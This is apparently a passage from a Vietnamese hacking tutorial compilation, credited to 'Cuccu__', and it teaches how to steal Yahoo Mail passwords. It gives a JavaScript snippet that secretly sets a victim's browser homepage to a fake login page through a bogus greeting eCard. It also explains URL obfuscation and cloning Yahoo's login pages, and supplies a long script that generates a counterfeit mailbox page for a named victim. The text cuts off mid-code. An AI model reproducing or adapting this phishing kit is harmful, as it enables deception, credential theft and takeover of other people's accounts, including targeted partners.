    http://wWw.Hack.Cf Page 88 Mỹ....hehhe, sướng không Theo điều tra của tôi, thì khoảng 100 máy tính cá nhân có nối mạng thì khoảng 60% là có set homepage vào các trang hay dùng, điển hình như mail.yahoo.com, hotmail.com, vnexpress.net..... như vậy, cho dù bạn có set homepage lén vào máy victim, cũng không hề bị phát hiện. Hiện nay có con virus Html/Sam.A cũng có chức năng tương tự, nhưng đã bị công bố mã nguồn và hầu hết các chương trình diệt virus diệt được......Nên tôi dùng cách khác..... Từ các bước sau, yêu cầu các bạn phải nắm được tương đối cách lập trình Web, đơn giản thôi, chỉ là các JavaScript và Html , không có gì phức tạp cả, với mức độ ngày càng khó (hic, đầu tư tí chất xám mới thành công được, phải không nhỉ ) ********************************************** Bước 2: Mượn gió bẻ măng, hay gọi là ném đá giấu tay cũng được Giải thích ý tưởng: Tôi đã ngâm cứu thành công 1 dạng fake greeting ecard, dùng frame kết hợp với JavaScript để đánh lừa victim (hic nói ra thì tôi còn lừa được ai nữa !!!!), ecard do bạn tạo ra càng đẹp, thì độ mắc lừa của victim càng cao..... Khi victim nghĩ đấy là 1 ecard thật, tất nhiên sẽ click vào 1 nút nào đó, ví dụ như nút có tên là Begin chẳng hạn, khi click vào đó, thì sẽ có 1 bảng thông báo của Homepage, cái này là khuyết điểm duy nhất của bước này, nhưng tôi tin là không ai nghi ngờ cả, vì hầu như trang eCard xịn nào cũng có những thông báo và PopUp, thành ra thông báo đó sẽ không ai để ý. Khi victim click vào Okie, thì eCard sẽ mở ra và ten tèn ten, máy của victim đã bị set homepage address là trang fake login của mình rồi....... Nếu bạn là người thích sưu tầm pass, thì đây là 1 cách lí tưởng, còn nếu không, thì thích hợp cho victim có nối mạng ở nhà...... Phần 3 tôi sẽ hướng dẫn các bạn cách đánh thẳng mục tiêu, đã nhằm victim nào là không thể chạy được....., cách này nói chung là đối với những ai rành lập trình Web thì tương đối đơn giản, còn Newbie thì sẽ rất khó khăn đấy...... ********************************************* 1) Làm trang fake ecard Ví dụ: http://w%77w%2Emir%63%64.us/%70%79mn%71h/@6%2Eh%74m (click vào OK xem kết quả, yên tâm không thành victim đâu) Sau đây là hướng dẫn: Thực chất của vấn đề là đoạn script set homepage, Đoạn script đó như sau: QUOTE <A title="Tiêu đề của bạn" href="Đường dẫn đến trang ecard dởm của bạn" target=_self onClick="this.style.behavior='url(#default#homepage)'; this.setHomePage('đường dẫn đến trang fake login của bạn');">tên nút</a>
  • 89.
    http://wWw.Hack.Cf Page 89 Lưuý là đường dẫn đến trang fake login phải có 2 dấu ', nếu không nó không hoạt động đâu Đoạn Script này có tác dụng tạo 1 nút, vừa mở ra 1 trang mới, vừa set homepage address, thành ra hiệu quả cực cao...... Còn làm giao diện trang eCard như thế nào là tuỳ thuộc vào bạn 2. Tạo thư có giao diện như 1 ecard mail Sau đó, bạn lập 1 hòm thư mới, có tên gì nghe liên quan đến eCard 1 tí, tạo 1 thư có giao diện như 1 ecard (rất đơn giản, bạn chỉ cần copy/paste 1 cái Greeting card bất kì, sau đó dán vào Msg box của bạn, chỉnh sửa đường dẫn đến ecard của bạn là xong (nhớ mã hoá đường dẫn nhé ), khi victim click vào..... hêhhhe, các bạn cũng đoán được kết quả rồi đó....) Chúc thành công! **************************************** Bài viết của Cuccu__ **************************************** Chú ý: Nếu các bạn dùng host www.mircd.com, và dùng cách mã hoá Url, cần chú ý: * Mã hoá Url thông thường chấp nhận tất cả các trang Web, nhưng nếu bạn Save as trang login của Yahoo, thì nó sẽ không đọc các file ảnh, lúc đó fake login của bạn sẽ thủng lỗ chỗ nếu up lên host mà đường link của bạn được mã hoá (thử mà xem) Cách khắc phục: sửa đường dẫn của các file ảnh Khi bạn save as, thường là nó sẽ save thành file: Yahoo! Mail - the best.......htm và 1 thư mục chứa các file ảnh và *.js có tên là Yahoo! Mail - the best......_files. Chính cái tên loằng ngoằng này khiến cho các file ảnh nằm trong nó load rất chậm và nhiều khi không load được, gây ra hiện tượng lỗi....., nếu bạn dùng www.mircd.com thì nó chỉ cho upload file, không cho tạo thư mục mới.... Đầu tiên, bạn nên sửa cái file Yahoo! Mail..... thành tên ngắn gọn thôi, càng ngắn càng tốt (nếu bạn dùng www.mircd.com thì nên đổi thành index.html) Dùng trình notepad, mở file đó ra, ấn tổ hợp phím : ctrl + H (để thay thế 1 cụm từ thành 1 cụm từ khác) Ở box Find What: điền vào là Yahoo! Mail - The best free web-based email!_files/ Ở box Replace With: để trống
  • 90.
    http://wWw.Hack.Cf Page 90 Sauđó bạn click vào Replace All để thay thế Save file index.html vừa sửa đổi lại, copy tất cả các file trong thư mục Yahoo! Mail - The best free web-based email!_files và file index.html vào cùng 1 thư mục khác, sau đó upload lên host..... Okie, lúc này thì bạn mã hoá Url thoải mái rồi đó...... Bước 3: Nghi binh Theo tôi, nếu chỉ có trang fake login thì chưa đủ để gạt victim, nhất là khi cần đánh trúng đối tượng cần lấy pass (như pass của người yêu chẳng hạn ), do đó cần một vài thủ thuật nho nhỏ để victim không nghi ngờ....... 1) Giả mạo Mail Box của Victim: Một Mail Box được mở ra mà quên không Sign Out, thường khi truy cập lại, Yahoo! Mail sẽ tự động login lại Mail Box vừa mở, do đó, cách nghi binh đầu tiên là tạo một mail box y hệt của victim, trong đó tất cả các nút, đường link đã bị thay đổi đến các trang giả mạo của mình. Các "công cụ" cần có trước tiên: * Bạn vào MailBox của chính bạn, save as nó, sau đó không cần làm gì nữa, bạn chỉ cần các file trong thư mục "Yahoo! Mail - Tên bạn@yahoo.com_files" * trang Re_login của Yahoo! Mail (có khi ta mở 2 Mail Box khác nhau) * trang Return Yahoo! Mail (có được khi ta Sign Out) * Sau khi có được 2 trang này, sửa đường dẫn Re_login và Return Yahoo! Mail đến trang Fake login của bạn * Đọc chú ý của tôi ở trên và làm theo như vậy đối với 2 trang vừa save as (Re_login và Return Yahoo! Mail) Do cách làm trang Fake Mailbox có lẽ khó đối với những người mới và những ai không quen lập trình Web, tôi đã viết 1 Tool có chức năng giả mạo Mail Box của Victim, bạn chỉ cần điền các thông số vào là xong.... (phù, mệt quá , không biết xong vụ này được lên * ko ) Bạn copy toàn bộ đoạn code dưới đây vào 1 trang web, save lại là dùng được ngay sau khi save, bạn copy trang fake mailbox này vào cùng 1 thư mục với những file trong thư mục "Yahoo! Mail - Tên bạn@yahoo.com_files" vừa save as xong........ Lưu ý: Xin giữ lại tên tác giả hộ, nếu bạn muốn truyền bá rộng rãi, Thanks Sau đây là đoạn code, do quá dài nên tôi post làm 2 phần, bạn copy ở 2 bài làm 1 nhé: (tôi đã hướng dẫn rất kĩ rồi, bạn chỉ cần làm theo là được) <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD><TITLE>Chinh* su*a Mail Box Victim</TITLE> <META http-equiv=Content-Type content="text/html; charset=windows- 1252"><LINK <META content="Microsoft FrontPage 5.0" name=GENERATOR></HEAD>
  • 91.
    http://wWw.Hack.Cf Page 91 <BODYbgcolor="#FFFFCC"> <p align="center"> <u> <font size="7" color="#FF9900"><b>Chinh sua Mail Box gia mao. cua Victim</b></font></u></p> <p align="right"><b><i><u><font size="4" color="#FF0000">(Nguoi viet: Cuccu__)</font></u></i><BR> </b><BR> </p> <p align="left"> <b>Dia chi Mail cua victim:</b> <INPUT value="victim" name=b1 size="25"> (khong co' duoi @yahoo.com)<BR><BR> <b>Duong link cua trang Re_login dom* cua ban: </b> <INPUT value="Yahoo! Mail relogin" name=b2 size="20"> (nho'' phai co' http://)<br> <font color="#FF0000">(co' tac dung khi click vao` bat ki` nut check mail, compose, inbox.....)<br> </font><br> <b>Duong link cua trang Return Yahoo! Mail: </b> <INPUT value="Yahoo!" name=b3 size="20"> (nho'' phai co' http://)<br> <font color="#FF0000">(co' tac dung khi click vao` nut Sign Out)</font><BR><BR> <b>So^' mail trong folder Inbox</b>: <INPUT value="2" name=b4 size="20"><BR><BR> <b>So^' mail trong folder Bulk</b>: <INPUT value=29 name=b5 size="20"><BR><BR> <b>Tong^* cua mail trong Inbox va` Bulk</b>: <INPUT value=31 name=b6 size="20"><BR><BR> <b>Ten^ dau^` cua Victim:</b> <INPUT value=Phan name=b7 size="20"><br> <font color="#FF0000">(trong dong` Wellcome...., vi' du. hop thu cua toi la` Wellcom, Phan)</font></p> <script> function gene() { r=Math.floor(Math.random()*100000) K='"' F="S" clrar.value+="<!DOCTYPE HTML PUBLIC "+K+"-//W3C//DTD HTML 4.0 Transitional//EN"+K+">n" clrar.value+="<!-- saved from url=(0058)http://us.f137.mail.yahoo.com/ym/login?.rand=84b8k66avhn5g -->n" clrar.value+="<!--web13705--><HTML><HEAD><TITLE>Yahoo! Mail - "+b1.value+"@yahoo.com</TITLE>n" clrar.value+="<META http-equiv=Content-Type content="+K+"text/html; charset=windows-1252"+K+">n" clrar.value+="<script>n" clrar.value+="<!-- n"
  • 92.
    http://wWw.Hack.Cf Page 92 clrar.value+="if(typeof top.frames["+K+"wmailmain"+K+"] != "+K+"undefined"+K+") {n" clrar.value+=" window.open("+K+"http://mail.yahoo.com"+K+", "+K+"_top"+K+");n" clrar.value+="}n" clrar.value+="var ypim_color = "+K+"blue"+K+";n" clrar.value+="// -->n" clrar.value+="</"+F+"CRIPT>nn" clrar.value+="<script src="+K+"ylib_dom.js"+K+"></"+F+"CRIPT>nn" clrar.value+="<script language=JavaScript n" clrar.value+="src="+K+"pim.js"+K+"></"+F+"CRIPT>nn" clrar.value+="<script language=JavaScriptn" clrar.value+="src="+K+"pim_css.js"+K+"></"+F+"CRIPT>n" clrar.value+="<NOSCRIPT>n" clrar.value+="<META http-equiv=Refresh content="+K+"0; URL=/ym/login?nojs=1"+K+"></NOSCRIPT>n" clrar.value+="<script>n" clrar.value+=" var newWin=null;n" clrar.value+=" var onscreen=false;nn" clrar.value+=" function NewWin(url,name,xpos,ypos,width,height)n" clrar.value+=" {n" clrar.value+=" newWin=window.open(n" clrar.value+=" url,n" clrar.value+=" name,n" clrar.value+=" "+K+"screenX="+K+"+xpos+"+K+",screenY="+K+"+ypos+"+K+",WIDTH="+K+"+ width+"+K+",HEIGHT="+K+"+height+"+K+",location=0,resizable=1,status=0,titleb ar=1,directories=0,toolbar=0,menubar=0,scrollbars=0,status=0"+K+"n" clrar.value+=" );n" clrar.value+=" newWin.focus();n" clrar.value+=" onscreen=true; n" clrar.value+=" }n" clrar.value+="</"+F+"CRIPT>n" clrar.value+="<TD></TD><TD></TD>n" clrar.value+="<META content="+K+"Microsoft FrontPage 5.0"+K+" name=GENERATOR></HEAD>n" clrar.value+="<BODY vLink=#0000ff link=#0000ff bgColor=white leftMargin=4 topMargin=4 n" clrar.value+="marginheight="+K+"4"+K+" marginwidth="+K+"4"+K+">n" clrar.value+="<script>n" clrar.value+=" function Help(link)n" clrar.value+=" {n" clrar.value+=" window.open(link,"+K+"help"+K+","+K+"width=400,height=500,scrollbars=yes,dep endent=yes"+K+");n" clrar.value+=" }n"
  • 93.
    http://wWw.Hack.Cf Page 93 clrar.value+="if (document.cookie != "+K+""+K+" && document.cookie.indexOf("+K+"19AC/A"+K+") == -1) {n" clrar.value+=" window.open("+K+"http://mail.yahoo.com"+K+", "+K+"_top"+K+");n" clrar.value+=" }n" clrar.value+="</"+F+"CRIPT>n" clrar.value+="<!-- begin search masthead -->n" clrar.value+="<DIV style="+K+"MARGIN-TOP: -4px"+K+">n" clrar.value+="<TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR bgColor=#dcdcdc>n" clrar.value+=" <TD noWrap colSpan=2 height=4><SPACER height="+K+"1"+K+" width="+K+"1"+K+" n" clrar.value+=" type="+K+"block"+K+"></TD></TR>n" clrar.value+=" <TR>n" clrar.value+=" <TD width="+K+"99%"+K+">n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD noWrap colSpan=3 height=3><SPACER height="+K+"1"+K+" width="+K+"1"+K+" n" clrar.value+=" type="+K+"block"+K+"></TD></TR>n" clrar.value+=" <TR>n" clrar.value+=" <TD><A href="+K+"http://mail.yahoo.com/"+K+"><IMG height=34 n" clrar.value+=" alt="+K+"Yahoo! Mail"+K+" n" clrar.value+=" src="+K+"mailma1.gif"+K+" n" clrar.value+=" width=250 border=0></A> </TD>n" clrar.value+=" <TD noWrap><FONT face=arial size=-1><A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/mail_us/pimnav/welcome/?http://www.yahoo.co m"+K+">Yahoo!</A> n" clrar.value+=" - <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/mail_us/pimnav/welcome/?http://my.yahoo.com "+K+">My n" clrar.value+=" Yahoo!</A> - <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/mail_us/help/?http://help.yahoo.com/help/us/m ail"+K+">Help</A> n" clrar.value+=" </FONT> </TD>n" clrar.value+=" <TD align=right>n" clrar.value+=" <script language=JavaScript>n" clrar.value+="var pb_target="+K+"_blank"+K+";n" clrar.value+="var pb_URL = new Array();n" clrar.value+="pb_URL[1]="+K+"http://rd.yahoo.com/M=243098.2891634.4238018. 1284474/D=mail/S=150500014:PB/A=1579788/R=0/id=flashurl/SIG=18a42jaeu/*h ttp://shop.store.yahoo.com/cgi- bin/clink?hp3+shopping:dmad/M=243098.2891634.4238018.1284474/D=mail/S=15
  • 94.
    http://wWw.Hack.Cf Page 94 0500014:PB/A=1579788/R=1/1057492859+http://us.rmi.yahoo.com/rmi/http://ww w.compaq.com/rmi-framed- url/http://www.compaq.com/bridge/poweredby/smb/index-yahoo.html"+K+";n" clrar.value+="varpb_flashfile="+K+"http://us.a1.yimg.com/us.yimg.com/a/1- /flash/hp/pb/pbhp_84x28_blu_yahoomail.swf"+K+";n" clrar.value+="var pb_altURL="+K+"http://rd.yahoo.com/M=243098.2891634.4238018.1284474/D=m ail/S=150500014:PB/A=1579788/R=2/id=altimgurl/SIG=18a6fp7oj/*http://shop.st ore.yahoo.com/cgi- bin/clink?hp3+shopping:dmad/M=243098.2891634.4238018.1284474/D=mail/S=15 0500014:PB/A=1579788/R=3/1057492859+http://us.rmi.yahoo.com/rmi/http://ww w.compaq.com/rmi-framed- url/http://www.compaq.com/bridge/poweredby/smb/index-yahoo.html"+K+";n" clrar.value+="var pb_altimg="+K+"http://us.a1.yimg.com/us.yimg.com/a/1- /flash/hp/pb/pbhp_84x28_blu_yahoo.gif"+K+";n" clrar.value+="var pb_width=84;n" clrar.value+="var pb_height=28;n" clrar.value+="var pb_FitNewWinHeight = new Array;n" clrar.value+="var pb_FitNewWinWidth = new Array;n" clrar.value+="pb_FitNewWinWidth[1] = 790;n" clrar.value+="pb_FitNewWinHeight[1] = 590;n" clrar.value+=" </"+F+"CRIPT>nn" clrar.value+=" <script language=JavaScript n" clrar.value+=" src="+K+"fs_pb_fitted_072002b.js"+K+">n" clrar.value+=" </"+F+"CRIPT>n" clrar.value+=" <NOSCRIPT>n" clrar.value+=" <A n" clrar.value+=" href="+K+"http://rd.yahoo.com/M=243098.2891634.4238018.1284474/D=mail/S= 150500014:PB/A=1579788/R=4/id=noscript/SIG=18aib6l1q/*http://shop.store.yah oo.com/cgi- bin/clink?hp3+shopping:dmad/M=243098.2891634.4238018.1284474/D=mail/S=15 0500014:PB/A=1579788/R=5/1057492859+http://us.rmi.yahoo.com/rmi/http://ww w.compaq.com/rmi-framed- url/http://www.compaq.com/bridge/poweredby/smb/index-yahoo.html"+K+" n" clrar.value+=" target=_blank><IMG height=28 n" clrar.value+=" src="+K+"pbhp_84x28_blu_yahoo.gif"+K+" n" clrar.value+=" width=84 border=0></A></NOSCRIPT></TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD vAlign=top noWrap align=right width="+K+"1%"+K+">n" clrar.value+=" <FORM style="+K+"MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px"+K+" n" clrar.value+=" action=http://srd.yahoo.com/fp=150500001&loc=head&st=yahoo/*http://search.ya hoo.com/search n" clrar.value+=" target=_blank><INPUT type=hidden value=ush1-mail name=fr> n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width=250 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR vAlign=top>n"
  • 95.
    http://wWw.Hack.Cf Page 95 clrar.value+="<TD align=right width=17><IMG height=30 alt="+K+""+K+" n" clrar.value+=" src="+K+"sch_ang30_1.gif"+K+" n" clrar.value+=" width=17></TD>n" clrar.value+=" <TD vAlign=center align=middle bgColor=#dcdcdc>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD><IMG height=16 n" clrar.value+=" src="+K+"stw2.gif"+K+" n" clrar.value+=" width=38> </TD>n" clrar.value+=" <TD><INPUT title="+K+"enter search terms here"+K+" size=12 name=p></TD>n" clrar.value+=" <TD><INPUT type=submit value=Search></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE ></FORM></TD></TR>n" clrar.value+=" <TR>n" clrar.value+=" <TD noWrap colSpan=2 height=5><SPACER height="+K+"1"+K+" width="+K+"1"+K+" n" clrar.value+=" type="+K+"block"+K+"></TD></TR></TBODY></TABLE></DIV><!-- end search masthead -->n" clrar.value+="<CENTER><!-- SpaceID=150500014 loc=SREC noad -- ></CENTER><BR>n" clrar.value+="<script>n" clrar.value+=" var oKey = new ylib_keyevt();n" clrar.value+=" oKey.addKey(67,- 1,"+K+"location='http://us.f137.mail.yahoo.com/ym/ShowFolder?rb=Inbox&YY=334 22&YN=1'"+K+","+K+"shift+ctrl"+K+"); // Check Mail | CTRL-Cn" clrar.value+=" oKey.addKey(80,- 1,"+K+"location='http://us.f137.mail.yahoo.com/ym/Compose?YY=33422'"+K+","+ K+"shift+ctrl"+K+"); // Compose | CTRL-Pn" clrar.value+=" oKey.addKey(70,- 1,"+K+"location='http://us.f137.mail.yahoo.com/ym/Folders?YY=33422'"+K+","+K +"shift+ctrl"+K+"); // Folders | CTRL-Fn" clrar.value+=" oKey.addKey(83,- 1,"+K+"location='http://us.f137.mail.yahoo.com/ym/Search?YY=33422'"+K+","+K+ "shift+ctrl"+K+"); // Search | CTRL-Sn" clrar.value+=" oKey.addKey(72,- 1,"+K+"location='http://help.yahoo.com/help/us/mail'"+K+","+K+"shift+ctrl"+K+") ; // Help | CTRL-Hn" clrar.value+="</"+F+"CRIPT>nn" clrar.value+="<script language=javascript>n" clrar.value+="<!-- n" clrar.value+=" function init() n" clrar.value+=" { n" clrar.value+=" if (oBw.ie||oBw.dom) { nn" clrar.value+=" ypim_initMenu('mail','addr','cal','note'); // initiates the drop down menus n"
  • 96.
    http://wWw.Hack.Cf Page 96 clrar.value+="document.onkeydown = function(evt) { oKey.keyevent(evt); }n" clrar.value+=" }n" clrar.value+=" OnLoad(); // do not deleten" clrar.value+=" }nn" clrar.value+=" function OnLoad()n" clrar.value+=" {n" clrar.value+=" // noop by defaultn" clrar.value+=" // redefine as neededn" clrar.value+=" }n" clrar.value+=" onload=initn" clrar.value+=" //-->n" clrar.value+="</"+F+"CRIPT>nn" clrar.value+="<TABLE cellSpacing=0 cellPadding=0 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=tabhi width="+K+"1%"+K+">n" clrar.value+=" <TABLE id=mailTb cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=tabhia id=mail1>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD><A href="+K+"http://mail.yahoo.com/"+K+"><IMG height=24 n" clrar.value+=" alt="+K+"Yahoo! Mail"+K+" hspace=4 n" clrar.value+=" src="+K+"mailbr1.gif"+K+" n" clrar.value+=" width=24 border=0 name=iconmail></A></TD>n" clrar.value+=" <TD class=tabhit noWrap><A n" clrar.value+=" href="+K+"http://mail.yahoo.com/"+K+">Mail</A> </TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD class=tabhia id=mailBtn vAlign=center><A n" clrar.value+=" onclick="+K+"ypim_prepareMail(); return ypim_showMenu('mail')"+K+" n" clrar.value+=" href="+K+"http://mail.yahoo.com/"+K+"><IMG height=24 n" clrar.value+=" src="+K+"downbr1.gif"+K+" width=10 n" clrar.value+=" border=0 name=arr_mail></A></TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD class=tablor width="+K+"1%"+K+">n" clrar.value+=" <TABLE id=addrTb cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=tabloa id=addr1>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+"
  • 97.
    http://wWw.Hack.Cf Page 97 border=0>n" clrar.value+="<TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD><A href="+K+"http://address.yahoo.com/yab/us"+K+"><IMG height=24 n" clrar.value+=" alt="+K+"Yahoo! Address Book"+K+" hspace=4 n" clrar.value+=" src="+K+"abbr1.gif"+K+" n" clrar.value+=" width=24 border=0 name=iconaddr></A></TD>n" clrar.value+=" <TD class=tablot noWrap><A n" clrar.value+=" href="+K+"http://mail.yahoo.com/"+K+">Mail</A> </TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD class=tabhia id=mailBtn vAlign=center><A n" clrar.value+=" onclick="+K+"ypim_prepareMail(); return ypim_showMenu('mail')"+K+" n" clrar.value+=" href="+K+"http://mail.yahoo.com/"+K+"><IMG height=24 n" clrar.value+=" src="+K+"downbr1.gif"+K+" width=10 n" clrar.value+=" border=0 name=arr_mail></A></TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD class=tablor width="+K+"1%"+K+">n" clrar.value+=" <TABLE id=addrTb cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=tabloa id=addr1>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD><A href="+K+"http://address.yahoo.com/yab/us"+K+"><IMG height=24 n" clrar.value+=" alt="+K+"Yahoo! Address Book"+K+" hspace=4 n" clrar.value+=" src="+K+"abbr1.gif"+K+" n" clrar.value+=" width=24 border=0 name=iconaddr></A></TD>n" clrar.value+=" <TD class=tablot noWrap><A n" clrar.value+=" href="+K+"http://address.yahoo.com/yab/us"+K+">Addresses</A> </TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD class=tabloa id=addrBtn vAlign=center><A n" clrar.value+=" onclick="+K+"ypim_prepareAddr(); return ypim_showMenu('addr')"+K+" n" clrar.value+=" href="+K+"http://address.yahoo.com/yab/us"+K+"><IMG height=24 n" clrar.value+=" src="+K+"downbr1.gif"+K+" width=10 n" clrar.value+=" border=0 name=arr_addr></A></TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD class=tablor width="+K+"1%"+K+">n" clrar.value+=" <TABLE id=calTb cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=tabloa id=cal1>n"
  • 98.
    http://wWw.Hack.Cf Page 98 clrar.value+="<TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+="<TD><A href="+K+"http://calendar.yahoo.com/"+K+"><IMG height=24 n" clrar.value+=" alt="+K+"Yahoo! Calendar"+K+" hspace=4 n" clrar.value+=" src="+K+"calbr1.gif"+K+" n" clrar.value+=" width=24 border=0 name=iconcal></A></TD>n" clrar.value+=" <TD class=tablot noWrap><A n" clrar.value+=" href="+K+"http://calendar.yahoo.com/"+K+">Calendar</A> </TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD class=tabloa id=calBtn vAlign=center><A n" clrar.value+=" onclick="+K+"ypim_prepareCal(); return ypim_showMenu('cal')"+K+" n" clrar.value+=" href="+K+"http://calendar.yahoo.com/"+K+"><IMG height=24 n" clrar.value+=" src="+K+"downbr1.gif"+K+" width=10 n" clrar.value+=" border=0 name=arr_cal></A></TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD class=tablor width="+K+"1%"+K+">n" clrar.value+=" <TABLE id=noteTb cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=tabloa id=note1>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD><A href="+K+"http://notepad.yahoo.com/"+K+"><IMG height=24 n" clrar.value+=" alt="+K+"Yahoo! Notepad"+K+" hspace=4 n" clrar.value+=" src="+K+"npdbr1.gif"+K+" n" clrar.value+=" width=24 border=0 name=iconnote></A></TD>n" clrar.value+=" <TD class=tablot noWrap><A n" clrar.value+=" href="+K+"http://notepad.yahoo.com/"+K+">Notepad</A> </TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD class=tabloa id=noteBtn vAlign=center><A n" clrar.value+=" onclick="+K+"ypim_prepareNote(); return ypim_showMenu('note')"+K+" n" clrar.value+=" href="+K+"http://notepad.yahoo.com/"+K+"><IMG height=24 n" clrar.value+=" src="+K+"downbr1.gif"+K+" width=10 n" clrar.value+=" border=0 name=arr_note></A></TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD class=tabnone align=right width="+K+"95%"+K+"><B>"+b1.value+"@yahoo.com</B> [<A n" clrar.value+=" href="+K+""+b3.value+""+K+">Sign n" clrar.value+=" Out</A>] </TD></TR></TBODY></TABLE>n" clrar.value+="<TABLE cellSpacing=0 cellPadding=4 width="+K+"100%"+K+" border=0>n"
  • 99.
    http://wWw.Hack.Cf Page 99 clrar.value+="<TBODY>n" clrar.value+=" <TR class=bgd bgColor=#e4ecf6>n" clrar.value+=" <TD align=left>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=2 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=tbutton n" clrar.value+=" onclick="+K+"window.open('/ym/ShowFolder?rb=Inbox&YY=33422&YN=1', '_top')"+K+" n" clrar.value+=" width=100><A n" clrar.value+=" href="+K+""+b2.value+""+K+">Check Mail</A> </TD>n" clrar.value+=" <TD> </TD>n" clrar.value+=" <TD class=tbutton n" clrar.value+=" onclick="+K+"window.open('/ym/Compose?YY=33422', '_top')"+K+" width=100><A n" clrar.value+=" href="+K+""+b2.value+""+K+">Compose</A> n" clrar.value+=" </TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD vAlign=bottom align=right>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=4 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=bge bgColor=#e4ecf6><A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/mail_us/nav/?http://billing.mail.yahoo.com/bm/ Upgrades"+K+" n" clrar.value+=" target=_blank>Mail Upgrades</A> - <A n" clrar.value+=" href="+K+"http://us.f137.mail.yahoo.com/ym/Search?YY=33422"+K+">Search n" clrar.value+=" Mail</A> - <A n" clrar.value+=" href="+K+"http://us.f137.mail.yahoo.com/ym/Options?YY=33422"+K+"><B>Mail n" clrar.value+=" Options</B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TAB LE>n" clrar.value+="<TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=bgd bgColor=#9bbad6 height=4><IMG height=3 n" clrar.value+=" src="+K+"space.gif"+K+" n" clrar.value+=" width=2></TD></TR></TBODY></TABLE>n" clrar.value+="<TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=bgd vAlign=top width=160 bgColor=#9bbad6>n" clrar.value+=" <script>n" clrar.value+="function AddFolder()n"
  • 100.
    http://wWw.Hack.Cf Page 100 clrar.value+="{n" clrar.value+=" var nn = window.prompt("+K+"Please enter a name for your folder."+K+","+K+""+K+");n" clrar.value+=" if (nn != null && nn != "+K+"null"+K+" && nn != "+K+""+K+") {n" clrar.value+=" var nn_escaped = "+K+""+K+";n" clrar.value+=" var nn_len = nn.length;n" clrar.value+=" for (i = 0 ; i < nn_len ; i++) {n" clrar.value+=" var nn_asc = nn.charCodeAt(i);n" clrar.value+=" if (nn_asc > 128) {n" clrar.value+=" nn_escaped += nn.charAt(i);n" clrar.value+=" } else {n" clrar.value+=" nn_escaped += escape(nn.charAt(i));n" clrar.value+=" }n" clrar.value+=" }nn" clrar.value+=" var str = "+K+"/ym/Folders?ADD=1&Name="+K+" + nn_escaped + "+K+"&.crumb=QwcGQPZ3xYZ&.done="+K+" + escape(document.URL) + "+K+"&YY=33422"+K+";n" clrar.value+=" window.open(str, "+K+"_top"+K+");n" clrar.value+=" }n" clrar.value+=" }nn" clrar.value+=" function TogglePersonal()n" clrar.value+=" {n" clrar.value+=" window.open(n" clrar.value+=" "+K+"/ym/Welcome?pers=1&.done="+K+" n" clrar.value+=" + n" clrar.value+=" escape(document.URL) n" clrar.value+=" + n" clrar.value+=" 